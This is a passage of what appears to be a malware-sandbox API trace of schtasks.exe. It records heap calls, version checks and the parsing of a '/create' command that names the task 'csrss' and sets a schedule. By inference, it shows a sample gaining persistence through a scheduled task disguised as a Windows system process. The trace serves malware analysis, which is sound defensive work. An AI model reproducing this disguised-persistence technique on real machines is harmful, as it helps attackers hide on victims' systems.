(HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d660) returned 0x10 [0057.686] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d660 | out: hHeap=0x60000) returned 1 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cea0) returned 1 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cea0) returned 0x20 [0057.687] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cea0 | out: hHeap=0x60000) returned 1 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7df10) returned 1 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7df10) returned 0x6 [0057.687] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7df10 | out: hHeap=0x60000) returned 1 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ced0) returned 1 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ced0) returned 0x20 [0057.687] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ced0 | out: hHeap=0x60000) returned 1 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] GetProcessHeap () returned 0x60000 [0057.687] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77fa0) returned 1 [0057.688] GetProcessHeap () returned 0x60000 [0057.688] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77fa0) returned 0x18 [0057.688] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77fa0 | out: hHeap=0x60000) returned 1 [0057.688] SetLastError (dwErrCode=0x0) [0057.688] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0057.688] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0057.688] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0057.688] VerifyVersionInfoW (in: lpVersionInformation=0x21c3b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c3b0) returned 1 [0057.688] SetLastError (dwErrCode=0x0) [0057.688] lstrlenW (lpString="create") returned 6 [0057.688] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0057.688] SetLastError (dwErrCode=0x490) [0057.688] SetLastError (dwErrCode=0x0) [0057.689] lstrlenW (lpString="create") returned 6 [0057.689] GetProcessHeap () returned 0x60000 [0057.689] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ced0 [0057.689] GetProcessHeap () returned 0x60000 [0057.689] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d660 [0057.689] _memicmp (_Buf1=0x7d660, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.689] GetProcessHeap () returned 0x60000 [0057.689] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d680 [0057.689] SetLastError (dwErrCode=0x0) [0057.689] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.689] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0057.689] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0057.690] GetProcessHeap () returned 0x60000 [0057.690] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7de80 [0057.691] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7de80 | out: lpData=0x7de80) returned 1 [0057.691] VerQueryValueW (in: pBlock=0x7de80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c498, puLen=0x21c500 | out: lplpBuffer=0x21c498*=0x7e21c, puLen=0x21c500) returned 1 [0057.691] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.691] _vsnwprintf (in: _Buffer=0x7bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c478 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0057.691] VerQueryValueW (in: pBlock=0x7de80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c508, puLen=0x21c4f8 | out: lplpBuffer=0x21c508*=0x7e048, puLen=0x21c4f8) returned 1 [0057.691] lstrlenW (lpString="schtasks.exe") returned 12 [0057.691] lstrlenW (lpString="schtasks.exe") returned 12 [0057.691] lstrlenW (lpString=".EXE") returned 4 [0057.691] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0057.691] lstrlenW (lpString="schtasks.exe") returned 12 [0057.692] lstrlenW (lpString=".EXE") returned 4 [0057.692] lstrlenW (lpString="schtasks") returned 8 [0057.692] lstrlenW (lpString="/create") returned 7 [0057.699] _memicmp (_Buf1=0x7bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.699] _vsnwprintf (in: _Buffer=0x7bd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c478 | out: _Buffer="schtasks /create") returned 16 [0057.699] _memicmp (_Buf1=0x7bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.699] GetProcessHeap () returned 0x60000 [0057.699] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cea0 [0057.699] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.699] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0057.699] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0057.699] GetProcessHeap () returned 0x60000 [0057.699] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77c00 [0057.700] _vsnwprintf (in: _Buffer=0x7c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c478 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0057.700] GetProcessHeap () returned 0x60000 [0057.700] GetProcessHeap () returned 0x60000 [0057.700] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7de80) returned 1 [0057.700] GetProcessHeap () returned 0x60000 [0057.700] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7de80) returned 0x74e [0057.700] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7de80 | out: hHeap=0x60000) returned 1 [0057.700] SetLastError (dwErrCode=0x0) [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="create") returned 6 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="?") returned 1 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="s") returned 1 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="u") returned 1 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="p") returned 1 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="ru") returned 2 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="rp") returned 2 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="sc") returned 2 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="mo") returned 2 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="d") returned 1 [0057.701] GetThreadLocale () returned 0x409 [0057.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.701] lstrlenW (lpString="m") returned 1 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="i") returned 1 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="tn") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="tr") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="st") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="sd") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="ed") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="it") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="et") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="k") returned 1 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="du") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.702] lstrlenW (lpString="ri") returned 2 [0057.702] GetThreadLocale () returned 0x409 [0057.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="z") returned 1 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="f") returned 1 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="v1") returned 2 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="xml") returned 3 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="ec") returned 2 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="rl") returned 2 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="delay") returned 5 [0057.703] GetThreadLocale () returned 0x409 [0057.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.703] lstrlenW (lpString="np") returned 2 [0057.703] SetLastError (dwErrCode=0x0) [0057.703] SetLastError (dwErrCode=0x0) [0057.703] lstrlenW (lpString="/create") returned 7 [0057.703] lstrlenW (lpString="-/") returned 2 [0057.703] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.703] lstrlenW (lpString="create") returned 6 [0057.703] lstrlenW (lpString="create") returned 6 [0057.703] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.703] lstrlenW (lpString="create") returned 6 [0057.703] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.703] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.704] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.704] lstrlenW (lpString="|create|") returned 8 [0057.704] lstrlenW (lpString="|create|") returned 8 [0057.704] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0057.704] SetLastError (dwErrCode=0x0) [0057.704] SetLastError (dwErrCode=0x0) [0057.704] SetLastError (dwErrCode=0x0) [0057.704] lstrlenW (lpString="/tn") returned 3 [0057.704] lstrlenW (lpString="-/") returned 2 [0057.704] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.704] lstrlenW (lpString="create") returned 6 [0057.704] lstrlenW (lpString="create") returned 6 [0057.704] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.704] lstrlenW (lpString="tn") returned 2 [0057.704] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.704] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.704] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.704] lstrlenW (lpString="|create|") returned 8 [0057.704] lstrlenW (lpString="|tn|") returned 4 [0057.704] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0057.704] SetLastError (dwErrCode=0x490) [0057.704] lstrlenW (lpString="?") returned 1 [0057.704] lstrlenW (lpString="?") returned 1 [0057.704] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.704] lstrlenW (lpString="tn") returned 2 [0057.704] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.704] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|?|") returned 3 [0057.704] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.704] lstrlenW (lpString="|?|") returned 3 [0057.704] lstrlenW (lpString="|tn|") returned 4 [0057.704] SetLastError (dwErrCode=0x490) [0057.704] lstrlenW (lpString="s") returned 1 [0057.705] lstrlenW (lpString="s") returned 1 [0057.705] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] lstrlenW (lpString="tn") returned 2 [0057.705] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|s|") returned 3 [0057.705] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.705] lstrlenW (lpString="|s|") returned 3 [0057.705] lstrlenW (lpString="|tn|") returned 4 [0057.705] SetLastError (dwErrCode=0x490) [0057.705] lstrlenW (lpString="u") returned 1 [0057.705] lstrlenW (lpString="u") returned 1 [0057.705] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] lstrlenW (lpString="tn") returned 2 [0057.705] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|u|") returned 3 [0057.705] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.705] lstrlenW (lpString="|u|") returned 3 [0057.705] lstrlenW (lpString="|tn|") returned 4 [0057.705] SetLastError (dwErrCode=0x490) [0057.705] lstrlenW (lpString="p") returned 1 [0057.705] lstrlenW (lpString="p") returned 1 [0057.705] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] lstrlenW (lpString="tn") returned 2 [0057.705] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.705] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|p|") returned 3 [0057.705] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.705] lstrlenW (lpString="|p|") returned 3 [0057.705] lstrlenW (lpString="|tn|") returned 4 [0057.705] SetLastError (dwErrCode=0x490) [0057.706] lstrlenW (lpString="ru") returned 2 [0057.706] lstrlenW (lpString="ru") returned 2 [0057.706] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] lstrlenW (lpString="tn") returned 2 [0057.706] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ru|") returned 4 [0057.706] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.706] lstrlenW (lpString="|ru|") returned 4 [0057.706] lstrlenW (lpString="|tn|") returned 4 [0057.706] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0057.706] SetLastError (dwErrCode=0x490) [0057.706] lstrlenW (lpString="rp") returned 2 [0057.706] lstrlenW (lpString="rp") returned 2 [0057.706] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] lstrlenW (lpString="tn") returned 2 [0057.706] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rp|") returned 4 [0057.706] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.706] lstrlenW (lpString="|rp|") returned 4 [0057.706] lstrlenW (lpString="|tn|") returned 4 [0057.706] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0057.706] SetLastError (dwErrCode=0x490) [0057.706] lstrlenW (lpString="sc") returned 2 [0057.706] lstrlenW (lpString="sc") returned 2 [0057.706] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] lstrlenW (lpString="tn") returned 2 [0057.706] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.706] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.706] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.706] lstrlenW (lpString="|sc|") returned 4 [0057.707] lstrlenW (lpString="|tn|") returned 4 [0057.707] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0057.707] SetLastError (dwErrCode=0x490) [0057.707] lstrlenW (lpString="mo") returned 2 [0057.707] lstrlenW (lpString="mo") returned 2 [0057.707] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] lstrlenW (lpString="tn") returned 2 [0057.707] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|mo|") returned 4 [0057.707] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.707] lstrlenW (lpString="|mo|") returned 4 [0057.707] lstrlenW (lpString="|tn|") returned 4 [0057.707] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0057.707] SetLastError (dwErrCode=0x490) [0057.707] lstrlenW (lpString="d") returned 1 [0057.707] lstrlenW (lpString="d") returned 1 [0057.707] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] lstrlenW (lpString="tn") returned 2 [0057.707] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|d|") returned 3 [0057.707] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.707] lstrlenW (lpString="|d|") returned 3 [0057.707] lstrlenW (lpString="|tn|") returned 4 [0057.707] SetLastError (dwErrCode=0x490) [0057.707] lstrlenW (lpString="m") returned 1 [0057.707] lstrlenW (lpString="m") returned 1 [0057.707] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] lstrlenW (lpString="tn") returned 2 [0057.707] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.707] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|m|") returned 3 [0057.707] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.707] lstrlenW (lpString="|m|") returned 3 [0057.708] lstrlenW (lpString="|tn|") returned 4 [0057.708] SetLastError (dwErrCode=0x490) [0057.708] lstrlenW (lpString="i") returned 1 [0057.708] lstrlenW (lpString="i") returned 1 [0057.708] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.708] lstrlenW (lpString="tn") returned 2 [0057.708] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.708] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|i|") returned 3 [0057.708] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.708] lstrlenW (lpString="|i|") returned 3 [0057.708] lstrlenW (lpString="|tn|") returned 4 [0057.708] SetLastError (dwErrCode=0x490) [0057.708] lstrlenW (lpString="tn") returned 2 [0057.708] lstrlenW (lpString="tn") returned 2 [0057.708] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.708] lstrlenW (lpString="tn") returned 2 [0057.708] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.708] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.708] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.708] lstrlenW (lpString="|tn|") returned 4 [0057.708] lstrlenW (lpString="|tn|") returned 4 [0057.708] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0057.708] SetLastError (dwErrCode=0x0) [0057.708] SetLastError (dwErrCode=0x0) [0057.708] lstrlenW (lpString="csrss") returned 5 [0057.708] lstrlenW (lpString="-/") returned 2 [0057.708] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0057.708] SetLastError (dwErrCode=0x490) [0057.708] SetLastError (dwErrCode=0x490) [0057.708] SetLastError (dwErrCode=0x0) [0057.708] lstrlenW (lpString="csrss") returned 5 [0057.708] StrChrIW (lpStart="csrss", wMatch=0x3a) returned 0x0 [0057.708] SetLastError (dwErrCode=0x490) [0057.709] SetLastError (dwErrCode=0x0) [0057.709] lstrlenW (lpString="csrss") returned 5 [0057.709] SetLastError (dwErrCode=0x0) [0057.709] SetLastError (dwErrCode=0x0) [0057.709] lstrlenW (lpString="/sc") returned 3 [0057.709] lstrlenW (lpString="-/") returned 2 [0057.709] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.709] lstrlenW (lpString="create") returned 6 [0057.709] lstrlenW (lpString="create") returned 6 [0057.709] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.709] lstrlenW (lpString="sc") returned 2 [0057.709] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.709] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.709] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.709] lstrlenW (lpString="|create|") returned 8 [0057.709] lstrlenW (lpString="|sc|") returned 4 [0057.709] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0057.709] SetLastError (dwErrCode=0x490) [0057.709] lstrlenW (lpString="?") returned 1 [0057.709] lstrlenW (lpString="?") returned 1 [0057.709] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.709] lstrlenW (lpString="sc") returned 2 [0057.709] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.709] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|?|") returned 3 [0057.709] _vsnwprintf (in: 